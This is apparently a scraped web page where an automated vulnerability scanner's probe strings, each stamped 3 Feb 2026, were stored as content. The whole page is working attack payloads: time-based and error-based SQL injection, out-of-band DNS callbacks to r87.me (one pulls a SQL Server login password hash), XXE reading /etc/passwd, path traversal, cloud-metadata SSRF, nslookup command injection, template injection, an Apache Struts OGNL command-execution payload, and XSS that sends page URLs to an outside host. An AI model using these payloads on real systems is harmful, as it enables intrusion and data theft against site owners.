https://www.aosacademy.com/elmah
Tue, 03 Feb 2026
+response.write(268409241-82797)'
Tue, 03 Feb 2026
(select UTL_INADDR.GET_HOST_ADDRESS('leo2yix4_dcn4aashp3auqqy4b_mm6xnc4sfisqz'||'ejq.r87.me') from DUAL)
Tue, 03 Feb 2026
1');SELECT pg_sleep(25)--
Tue, 03 Feb 2026
"><net sparker=netsparker(0x1758CC)>
Tue, 03 Feb 2026
-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1
Tue, 03 Feb 2026
http://[::1]:22
Tue, 03 Feb 2026
"+netsparker(0x1758C5)+"
Tue, 03 Feb 2026
"+print localtime()*0+0xFFF9999-87792+"
Tue, 03 Feb 2026
-1'+and+6=3+or+1=1+(SELECT+1+and+ROW(1,1)>(SELECT+COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)+'
Tue, 03 Feb 2026
gethostbyname(lc 'leo2yix4_dp9pwdvp9i08bnlaqys05gk0syrpe-p'.'a7c.r87.me')
Tue, 03 Feb 2026
leo2yix4_dmar9jkjnit2rveg20nhwh4yq7b7ruacsg.r87.me
Tue, 03 Feb 2026
exec('xp_dirtree ''\\leo2yix4_drjqmn4mgvo3wcc4wl5ng_ygycy3zwq'+'0tu.r87.me'+'\c$\a''')
Tue, 03 Feb 2026
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "http://leo2yix4"><!ENTITY % d "_dxtdpkavbyesnyy-ghfpbadaisyvvaowme.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
Tue, 03 Feb 2026
http://www.aosacademy.com.r87.com/?
Tue, 03 Feb 2026
ns:netsparker056650=vuln
Tue, 03 Feb 2026
<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///etc/passwd">]><ns>&lfi;</ns>
Tue, 03 Feb 2026
+gethostbyname(trim('leo2yix4_ddbjibrmtaxlx7h3azc2iberh7iqvy8'.'swg.r87.me'));//
Tue, 03 Feb 2026
www.aosacademy.com/elmah
Tue, 03 Feb 2026
-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
Tue, 03 Feb 2026
(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('leo2yix4_d0vnhsqy5cvkclawy3peowv-tszajp-'||'l0o.r87.me') from DUAL))))
Tue, 03 Feb 2026
"+response.write(268409241-29597)+"
Tue, 03 Feb 2026
1'));SELECT pg_sleep(25)--
Tue, 03 Feb 2026
((select sleep(25)))a-- 1
Tue, 03 Feb 2026
<iMg>
Tue, 03 Feb 2026
//leo2yix4_d8737qjguzeorh7nize2rvvowiddzqsbdw.r87.me
Tue, 03 Feb 2026
http://127.0.0.1:3306
Tue, 03 Feb 2026
eval('gethostbyname(lc 'leo2yix4_dbqt90zjsmnugfwp9b54jmdvzoetmbp'.'uha.r87.me')')
Tue, 03 Feb 2026
arguments[1].end(require('child_process').execSync('expr 268409241 - 21320'))
Tue, 03 Feb 2026
declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.leo2yix4_dqkzulgtdejsppnlxwdaevjc3fscqng'+'g8a.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')
Tue, 03 Feb 2026
http://leo2yix4_dpkm4luyw-b1wd-3qug2pq2gk5kcl5r0or.r87.me/p/
Tue, 03 Feb 2026
\';netsparker(0x175949);///
Tue, 03 Feb 2026
hTTp://r87.com/n
Tue, 03 Feb 2026
-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand(0)*2))x from INFORMATION_SCHEMA.COLLATIONS group by x limit 1))-- 1
Tue, 03 Feb 2026
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "php://filter/resource=http://leo2yix4"><!ENTITY % d "_dibs033nj3m7-dn5nuhjyqhk-egtfl6qee.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
Tue, 03 Feb 2026
{{268409241-79294}}
Tue, 03 Feb 2026
https://www.aosacademy.com.r87.com/?
Tue, 03 Feb 2026
http://example.com/? ns: netsparker056650=vuln
Tue, 03 Feb 2026
&thisdoesntexists;
Tue, 03 Feb 2026
64.20.35.186/elmah
Tue, 03 Feb 2026
'+gethostbyname(trim('leo2yix4_dxkwuxympc0axqnr8zvibqkflvx-y_p'.'tmq.r87.me'))+'
Tue, 03 Feb 2026
-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
Tue, 03 Feb 2026
'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('leo2yix4_dxycd9hrpzspiza0s2isk5ryhamwbzy'||'uga.r87.me') from DUAL))||'
Tue, 03 Feb 2026
<% response.write(268409241-82523) %>
Tue, 03 Feb 2026
arguments[1].end(require('child_process').execSync('set /A 268409241 - 49138'))
Tue, 03 Feb 2026
http://r87.me/r/?id=leo2yix4_dgg1tcz0k1_tb5ori6ct-t7rvvmvn85sac
Tue, 03 Feb 2026
1));SELECT pg_sleep(25)--
Tue, 03 Feb 2026
'+gethostbyname(lc 'leo2yix4_d2_fkvhf_c9v2jkbexjnpqsvuzgm14w'.'7mk.r87.me')+'
Tue, 03 Feb 2026
[removed]netsparker(0x175AA8)
Tue, 03 Feb 2026
http://64.20.35.186:3306
Tue, 03 Feb 2026
(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)
Tue, 03 Feb 2026
1;exec('xp_dirtree ''\\leo2yix4_dajmf6xsrnws0n85wbcv2ubxjqbgnoo'+'k5a.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
php://filter//resource=http://leo2yix4_di2hymw3teikf8fh8le2hemw0l9hzp_al7.r87.me/p/
Tue, 03 Feb 2026
http://r87.com/n?.php
Tue, 03 Feb 2026
/../../../../../../../../../../boot.ini
Tue, 03 Feb 2026
',netsparker(0x175ACC),'
Tue, 03 Feb 2026
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "php://filter/read=convert.base64-encode/resource=http://leo2yix4"><!ENTITY % d "_dikgo10k3urbzvnmqusv6a9rvsqf2l_ucu.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
Tue, 03 Feb 2026
=268409241-23074
Tue, 03 Feb 2026
ns:netsparker056650=vuln
Tue, 03 Feb 2026
//r87。com/?
Tue, 03 Feb 2026
"+gethostbyname(trim('leo2yix4_dvhjbsdpofdvfkzu3ta4mdriwg5zstv'.'_js.r87.me'))+"
Tue, 03 Feb 2026
(select UTL_INADDR.GET_HOST_ADDRESS(chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(56)||chr(118)||chr(112)||chr(120)||chr(103)||chr(101)||chr(122)||chr(115)||chr(98)||chr(111)||chr(103)||chr(109)||chr(122)||chr(107)||chr(50)||chr(122)||chr(105)||chr(103)||chr(45)||chr(99)||chr(104)||chr(102)||chr(103)||chr(106)||chr(103)||chr(52)||chr(116)||chr(120)||chr(52)||chr(49)||chr(101)||chr(116)||chr(109)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)
Tue, 03 Feb 2026
-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"
Tue, 03 Feb 2026
127.100.11.2/elmah
Tue, 03 Feb 2026
print(int)0xFFF9999-44065
Tue, 03 Feb 2026
"+gethostbyname(lc 'leo2yix4_dkjkuhve-xiqihryhpfrxdorhvjtm6l'.'sii.r87.me')+"
Tue, 03 Feb 2026
%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("a",268409241-94166)}
Tue, 03 Feb 2026
[removed]ns(0x175BDE)[removed]
Tue, 03 Feb 2026
http://[::1]:3306
Tue, 03 Feb 2026
((SELECT(1)FROM(SELECT(SLEEP(25)))A))
Tue, 03 Feb 2026
1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '
Tue, 03 Feb 2026
-1';exec('xp_dirtree ''\\leo2yix4_dycl43s228pzwgsbmf6yhzitlk_kpsj'+'q1y.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
leo2yix4_dknwikgwl_ki46v1512lba41yg5nz7n-pn.r87.me/p/
Tue, 03 Feb 2026
/../../../../../../../../../../boot.ini.php
Tue, 03 Feb 2026
http://r87.com/n?.php
Tue, 03 Feb 2026
netsparker(0x175BE3)
Tue, 03 Feb 2026
<%- 268409241-42595 %>
Tue, 03 Feb 2026
ns:netsparker056650=vuln
Tue, 03 Feb 2026
(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(119)||chr(49)||chr(118)||chr(104)||chr(103)||chr(56)||chr(109)||chr(109)||chr(49)||chr(106)||chr(108)||chr(107)||chr(113)||chr(95)||chr(112)||chr(117)||chr(109)||chr(104)||chr(108)||chr(111)||chr(117)||chr(104)||chr(121)||chr(114)||chr(113)||chr(98)||chr(104)||chr(100)||chr(118)||chr(50)||chr(102)||chr(106)||chr(117)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))
Tue, 03 Feb 2026
<? gethostbyname(trim('leo2yix4_dphnlbejpijeeh4yu9kdsevp1cjz3mo'.'-5m.r87.me'));//?>
Tue, 03 Feb 2026
127.0.0.1/elmah
Tue, 03 Feb 2026
@r87.com
Tue, 03 Feb 2026
(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))
Tue, 03 Feb 2026
<%a style=x:expre/**/ssion(netsparker(0x175C08))>
Tue, 03 Feb 2026
print(int)0xFFF9999-97227;
Tue, 03 Feb 2026
nslookup leo2yix4_drn7xl8mpdq7nsw5pb5jvmaa_zf4hmp^w2c.r87.me&'\"`0&nslookup leo2yix4_drn7xl8mpdq7nsw5pb5jvmaa_zf4hmp^w2c.r87.me&`'
Tue, 03 Feb 2026
p "#{0xFFF9999.to_i-`echo 27511`.to_i}"
Tue, 03 Feb 2026
https://www.aosacademy.com/server-status
Tue, 03 Feb 2026
1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1
Tue, 03 Feb 2026
'+((SELECT 1 FROM (SELECT SLEEP(25))A))+'
Tue, 03 Feb 2026
1) exec('xp_dirtree ''\\leo2yix4_dpprc99rtochuebuoizdazqf3lkdyws'+'tu0.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
<#assign x=268409241 - 87157> ${x?string["0"]}
Tue, 03 Feb 2026
1/../../../../../../../../../../boot.ini
Tue, 03 Feb 2026
https://www.aosacademy.com/trace.axd
Tue, 03 Feb 2026
netsparker(0x175C4C);
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
php://filter//resource=http://r87.com/n?.php
Tue, 03 Feb 2026
' WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(110)||chr(116)||chr(115)||chr(54)||chr(115)||chr(100)||chr(110)||chr(50)||chr(103)||chr(49)||chr(110)||chr(103)||chr(101)||chr(56)||chr(97)||chr(110)||chr(107)||chr(119)||chr(57)||chr(99)||chr(103)||chr(108)||chr(102)||chr(119)||chr(48)||chr(117)||chr(113)||chr(106)||chr(98)||chr(51)||chr(121)||chr(104)||chr(99)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||'
Tue, 03 Feb 2026
'{${gethostbyname(trim('leo2yix4_dvlmwlsgansfpfrwxp-qrwjmkfuawmp'.'gak.r87.me'))}}'
Tue, 03 Feb 2026
[::1]/elmah
Tue, 03 Feb 2026
cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)
Tue, 03 Feb 2026
n;ns:[removed]netsparker(0x175D44));
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
+print(int)0xFFF9999-61105;//
Tue, 03 Feb 2026
& nslookup leo2yix4_dht3q1h6dt24hcejmtbv3oxnrstb0en^awa.r87.me&'\"`0&nslookup leo2yix4_dht3q1h6dt24hcejmtbv3oxnrstb0en^awa.r87.me&`'
Tue, 03 Feb 2026
__import__('os').popen(('expr 268409241 - {0}').format('57970')).read()
Tue, 03 Feb 2026
1';SELECT pg_sleep(25)--
Tue, 03 Feb 2026
1')exec('xp_dirtree ''\\leo2yix4_dnoamal63932h_kgxmvcqsotqzmfjqj'+'qyg.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
'"--></style>[removed][removed][removed]
Tue, 03 Feb 2026
http://169.254.169.254/opc/v1/instance
Tue, 03 Feb 2026
-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'
Tue, 03 Feb 2026
file:///boot.ini
Tue, 03 Feb 2026
<%= "#{268409241-89683}" %>
Tue, 03 Feb 2026
www.aosacademy.com/trace.axd
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
1 WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
r87.com/n
Tue, 03 Feb 2026
'+netsparker(0x175E5F)+'
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'
Tue, 03 Feb 2026
createobject("WScript.Shell").exec("nslookup leo2yix4_dvhwg1qoawthw0vurnlmmztlvfnry5o" & "vuu.r87.me").StdOut.ReadAll
Tue, 03 Feb 2026
http://aws.r87.me/latest/meta-data/public-hostname
Tue, 03 Feb 2026
body{x:[removed]netsparker(0x175E8B))}
Tue, 03 Feb 2026
1))exec('xp_dirtree ''\\leo2yix4_dr49mscz84gux7a63uxrwd3yv90qbfe'+'mok.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
__import__('os').popen(('SET /A 268409241 - {0}').format('31985')).read()
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
'+print(int)0xFFF9999-99801+'
Tue, 03 Feb 2026
'& nslookup leo2yix4_dbn01ww7anon8scc5j_zaozn6qq7tk0^-ru.r87.me&'\"`0&nslookup leo2yix4_dbn01ww7anon8scc5j_zaozn6qq7tk0^-ru.r87.me&`'
Tue, 03 Feb 2026
<iMg xss=removed>
Tue, 03 Feb 2026
https://metadata.packet.net/metadata
Tue, 03 Feb 2026
1;SELECT pg_sleep(25)--
Tue, 03 Feb 2026
-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))
Tue, 03 Feb 2026
c:\boot.ini
Tue, 03 Feb 2026
64.20.35.186/trace.axd
Tue, 03 Feb 2026
WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
'"@--></style>[removed][removed]netsparker(0x175EAF)[removed]
Tue, 03 Feb 2026
'
Tue, 03 Feb 2026
Tue, 03 Feb 2026
(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)
Tue, 03 Feb 2026
+createobject("WScript.Shell").exec("nslookup leo2yix4_dgq-46zbyvpdtbpxzxguvauzy07oh35" & "qjy.r87.me").StdOut.ReadAll
Tue, 03 Feb 2026
http://169.254.169.254/latest/meta-data/public-hostname
Tue, 03 Feb 2026
*/netsparker(0x175EC9);/*
Tue, 03 Feb 2026
1'))exec('xp_dirtree ''\\leo2yix4_di8lizbvwqjqox_nhtcv_73_x7swehv'+'d28.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
NS-1NO
Tue, 03 Feb 2026
"+print(int)0xFFF9999-13323+"
Tue, 03 Feb 2026
"& nslookup leo2yix4_del6w4mfuoq-fprzj3iaxrejeag-h_d^by4.r87.me&'\"`0&nslookup leo2yix4_del6w4mfuoq-fprzj3iaxrejeag-h_d^by4.r87.me&`'
Tue, 03 Feb 2026
"& ping -n 25 127.0.0.1 &
Tue, 03 Feb 2026
<iMg src="//r87.me/images/1.jpg" xss=removed>
Tue, 03 Feb 2026
-1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+"
Tue, 03 Feb 2026
SELECT pg_sleep(25)--
Tue, 03 Feb 2026
ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................
Tue, 03 Feb 2026
"+netsparker(0x175EFB)+"
Tue, 03 Feb 2026
127.100.11.2/trace.axd
Tue, 03 Feb 2026
1) WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
-1' OR 1=1 OR '1'='1
Tue, 03 Feb 2026
Tue, 03 Feb 2026
'+netsparker(0x175F0A)+'
Tue, 03 Feb 2026
+createobject("WScript.Shell").exec("nslookup leo2yix4_dsdfpnr2gowviqoxjbthmzmz_u0ivua" & "hwm.r87.me").StdOut.ReadAll+
Tue, 03 Feb 2026
http://127.0.0.1:22
Tue, 03 Feb 2026
<?=(int)0xFFF9999-29326;//?>
Tue, 03 Feb 2026
NSFTW
Tue, 03 Feb 2026
syscolumns WHERE 2>3;exec('xp_dirtree ''\\leo2yix4_dmkpnzmtc1ymakfafduz_sizmptkeou'+'2wg.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
-1' OR 1=1 OR '1'='1
Tue, 03 Feb 2026
nslookup "leo2yix4_dzgnuz1facuo0jaczuqaqofe3ldq2yj""7qq.r87.me"
Tue, 03 Feb 2026
'& ping -n 25 127.0.0.1 &
Tue, 03 Feb 2026
1);SELECT pg_sleep(25)--
Tue, 03 Feb 2026
<fRame src=N onload="this.onload='';this.src='//leo2yix4_dgkhutdxkmd6mbnlhhpw5iaesbalgry'+'bbm.r87.me/r/?'+location.href">
Tue, 03 Feb 2026
/../../../../../../../../../../boot.ini
Tue, 03 Feb 2026
'"--></style>[removed][removed]netsparker(0x175F12)[removed]
Tue, 03 Feb 2026
<html xmlns="http://www.w3.org/1999/xhtml">[removed]netsparker(0x175F2B)[removed]</html>
Tue, 03 Feb 2026
') AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1
Tue, 03 Feb 2026
-1" OR 1=1 OR "1"="1
Tue, 03 Feb 2026
127.0.0.1/trace.axd
Tue, 03 Feb 2026
') WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
& ping -n 25 127.0.0.1 &
Tue, 03 Feb 2026
"+netsparker(0x175F5A)+"
Tue, 03 Feb 2026
-1" OR 1=1 OR "1"="1
Tue, 03 Feb 2026
"& SET /A 0xFFF9999-48573 &
Tue, 03 Feb 2026
http://64.20.35.186:22
Tue, 03 Feb 2026
'+NSFTW+'
Tue, 03 Feb 2026
<%createobject("WScript.Shell").exec("nslookup leo2yix4_dozazz4z7am6tnjlbjbzkc1fdpbqfpb" & "l98.r87.me").StdOut.ReadAll%>
Tue, 03 Feb 2026
DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','leo2yix4_dhwsixgqld4k1cwpqb9p5rtf4dx8eiz'+'-3e.r87.me')exec sp_executesql @r
Tue, 03 Feb 2026
{php}print(int)0xFFF9999-29007;{/php}
Tue, 03 Feb 2026
&nslookup "leo2yix4_dq9wgsumz2s5s22ezwvfvoxbkmef5cy""omq.r87.me"
Tue, 03 Feb 2026
1');SELECT pg_sleep(25)--
Tue, 03 Feb 2026
'"--></style>[removed][removed]netsparker(0x175F7B)[removed]
Tue, 03 Feb 2026
//r87.com/?0x175F7D
Tue, 03 Feb 2026
[removed][removed]
Tue, 03 Feb 2026
file:///boot.ini
Tue, 03 Feb 2026
[::1]/trace.axd
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
')) WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
ping -n 25 127.0.0.1 &
Tue, 03 Feb 2026
'& SET /A 0xFFF9999-76885 &
Tue, 03 Feb 2026
\';netsparker(0x17608F);///
Tue, 03 Feb 2026
'&nslookup "leo2yix4_dv7yrwgpvneduvcweoqbvbhcy_d3qbc""zjc.r87.me"
Tue, 03 Feb 2026
http://[::1]:22
Tue, 03 Feb 2026
(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
"+createobject("WScript.Shell").exec("nslookup leo2yix4_dmr7fwg7c2n065llsp02n8skydh8bly" & "g6m.r87.me").StdOut.ReadAll+"
Tue, 03 Feb 2026
1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','leo2yix4_dtrcftewqr0slmcsuigjummmglsz16-'+'zxc.r87.me')exec sp_executesql @r--
Tue, 03 Feb 2026
'{${print(int)0xFFF9999-53436}}'
Tue, 03 Feb 2026
[removed]JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MTc2MDlDKTwvc2NyaXB0Pg==
Tue, 03 Feb 2026
1'));SELECT pg_sleep(25)--
Tue, 03 Feb 2026
c:\boot.ini
Tue, 03 Feb 2026
https://www.aosacademy.com/elmah.axd
Tue, 03 Feb 2026
<a>
Tue, 03 Feb 2026
";l=document.createElement("link");l.rel="prefetch";l.href="//leo2yix4_dxja6ht-ahx7pzhpijhrww4tlqnj8xw"+"ci0.r87.me/r/?"+location.href;document.head.appendChild(l);//
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
1)) WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
& SET /A 0xFFF9999-12823 &
Tue, 03 Feb 2026
"&ping -w 25 127.0.0.1 &"
Tue, 03 Feb 2026
http://127.0.0.1:3306
Tue, 03 Feb 2026
',netsparker(0x1760C9),'
Tue, 03 Feb 2026
"&nslookup "leo2yix4_ds69bg1inzguotszmshy_jfi56s5s_8""uos.r87.me"
Tue, 03 Feb 2026
gethostbyname(lc 'leo2yix4_dfb09sgf_z10mim4vexvhkkxusqid-o'.'gmc.r87.me')
Tue, 03 Feb 2026
-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','leo2yix4_dkf96soxbas4jlgao0ddg4sq9sxfrcs'+'n00.r87.me')exec sp_executesql @r--
Tue, 03 Feb 2026
[php]print(int)0xFFF9999-1548;[/php]
Tue, 03 Feb 2026
www.aosacademy.com/elmah.axd
Tue, 03 Feb 2026
'" ns=netsparker(0x1760EB)
Tue, 03 Feb 2026
/../../../../../../../../../../web.config
Tue, 03 Feb 2026
ns@mail.ns'"/>()&%[removed]netsparker(0x1760EF)[removed]
Tue, 03 Feb 2026
';l=document.createElement("link");l.rel="prefetch";l.href="//leo2yix4_djhalcc5sveex9a239oxbkzkbrr-2zr"+"ghk.r87.me/r/?"+location.href;document.head.appendChild(l);//
Tue, 03 Feb 2026
1));SELECT pg_sleep(25)--
Tue, 03 Feb 2026
'
Tue, 03 Feb 2026
SET /A 0xFFF9999-60976 &
Tue, 03 Feb 2026
1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Tue, 03 Feb 2026
http://64.20.35.186:3306
Tue, 03 Feb 2026
netsparker(0x176140)
Tue, 03 Feb 2026
'&ping -w 25 127.0.0.1 &'
Tue, 03 Feb 2026
eval('gethostbyname(lc 'leo2yix4_dhqraumholkfgvra_kcozeyxxm7inbk'.'maw.r87.me')')
Tue, 03 Feb 2026
SELECT dblink_connect('host=leo2yix4_d10upmaenfthc9iux4wygycmrbi8ui9'||'dia.r87.me user=a password=a connect_timeout=2')
Tue, 03 Feb 2026
|nslookup${IFS}"leo2yix4_dn3ndwyhabnxtkt3xg0hkjfu3viqhan""xry.r87.me"
Tue, 03 Feb 2026
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='80377').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','SET /A 0xFFF9999 -' + #cmd}:{'/bin/bash','-c','expr 268409241 - ' + #cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Tue, 03 Feb 2026
1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1
Tue, 03 Feb 2026
NS-1NO
Tue, 03 Feb 2026
/../../../../../../../../../../windows/win.ini
Tue, 03 Feb 2026
((SELECT(1)FROM(SELECT(SLEEP(25)))A))
Tue, 03 Feb 2026
1 ns=netsparker(0x17615E)
Tue, 03 Feb 2026
64.20.35.186/elmah.axd
Tue, 03 Feb 2026
http://r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
Content-Type:text/html [removed]ns(0x176170)[removed]
Tue, 03 Feb 2026
-1' OR 1=1 OR '1'='1
Tue, 03 Feb 2026
1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Tue, 03 Feb 2026
&ping -w 25 127.0.0.1 &
Tue, 03 Feb 2026
'+gethostbyname(lc 'leo2yix4_d5odvtamdaj9qwuzw8-vtdz7t48s5gt'.'pw8.r87.me')+'
Tue, 03 Feb 2026
http://[::1]:3306
Tue, 03 Feb 2026
SET /A 0xFFF9999-44766
Tue, 03 Feb 2026
dblink_connect('host=leo2yix4_dwstjeiq9scgu4ut2d47f31y0jj5pu7'||'8ww.r87.me user=a password=a connect_timeout=2')
Tue, 03 Feb 2026
netsparker(0x17618D);
Tue, 03 Feb 2026
print localtime()*0+0xFFF9999-69965
Tue, 03 Feb 2026
-1' OR 1=1 OR '1'='1
Tue, 03 Feb 2026
